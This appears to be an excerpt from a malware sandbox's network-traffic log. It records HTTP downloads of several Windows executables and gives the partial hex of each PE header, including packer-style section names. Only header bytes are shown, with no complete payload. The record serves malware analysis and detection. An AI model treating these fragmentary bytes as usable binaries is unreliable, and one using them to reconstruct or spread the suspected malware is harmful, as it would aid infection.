30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 10 Nov 2024 18:44:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 10 Nov 2024 18:44:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Nov 2024 18:44:27 GMTContent-Type: application/octet-streamContent-Length: 3265024Last-Modified: Sun, 10 Nov 2024 18:23:15 GMTConnection: keep-aliveETag: "6730fa13-31d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 e0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 32 00 00 04 00 00 ea b7 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c c6 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc c5 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 6f 75 6d 6f 65 76 76 00 20 2b 00 00 b0 06 00 00 18 2b 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6c 68 7a 72 74 66 63 00 10 00 00 00 d0 31 00 00 04 00 00 00 ac 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 31 00 00 22 00 00 00 b0 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Nov 2024 18:45:08 GMTContent-Type: application/octet-streamContent-Length: 4342784Last-Modified: Sun, 10 Nov 2024 16:45:48 GMTConnection: keep-aliveETag: "6730e33c-424400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 72 e6 2e 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 10 48 00 00 1c 69 00 00 32 00 00 00 60 b8 00 00 10 00 00 00 20 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 b8 00 00 04 00 00 85 04 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 90 66 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 4f b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 66 00 00 10 00 00 00 68 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 66 00 00 00 00 00 00 78 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 66 00 00 02 00 00 00 78 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 37 00 00 a0 66 00 00 02 00 00 00 7a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 73 68 66 77 65 70 72 00 a0 1a 00 00 b0 9d 00 00 a0 1a 00 00 7c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 66 6f 74 73 78 72 66 00 10 00 00 00 50 b8 00 00 06 00 00 00 1c 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 b8 00 00 22 00 00 00 22 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Nov 2024 18:45:19 GMTContent-Type: application/octet-streamContent-Length: 3144704Last-Modified: Sun, 10 Nov 2024 18:22:54 GMTConnection: keep-aliveETag: "6730f9fe-2ffc00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 00 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 30 00 00 04 00 00 8e 20 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 80 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 90 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 94 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 79 66 6d 65 62 72 72 00 40 2a 00 00 b0 05 00 00 40 2a 00 00 96 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 64 61 61 78 68 6f 77 00 10 00 00 00 f0 2f 00 00 04 00 00 00 d6 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 30 00 00 22 00 00 00 da 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Nov 2024 18:45:30 GMTContent-Type: application/octet-streamContent-Length: 1792512Last-Modified: Sun, 10 Nov 2024 18:23:07 GMTConnection: keep-aliveETag: "6730fa0b-1b5a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 46 90 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 30 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 78 64 76 67 63 70 66 00 c0 19 00 00 f0 4e 00 00 be 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 78 64 65 78 7a 65 6f 00 10 00 00 00 b0 68 00 00 04 00 00 00 34 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 68 00 00 22 00 00 00 38 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Nov 2024 18:45:45 GMTContent-Type: application/octet-streamContent-Length: 2739712Last-Modified: Sun, 10 Nov 2024 18:15:48 GMTConnection: keep-aliveETag: "6730f854-29ce00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 de e4 29 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 6d 64 78 75 6c 76 70 00 80 29 00 00 a0 00 00 00 6e 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 63 6c 77 77 6c 68 79 00 20 00 00 00 20 2a 00 00 04 00 00 00 a8 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 ac 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 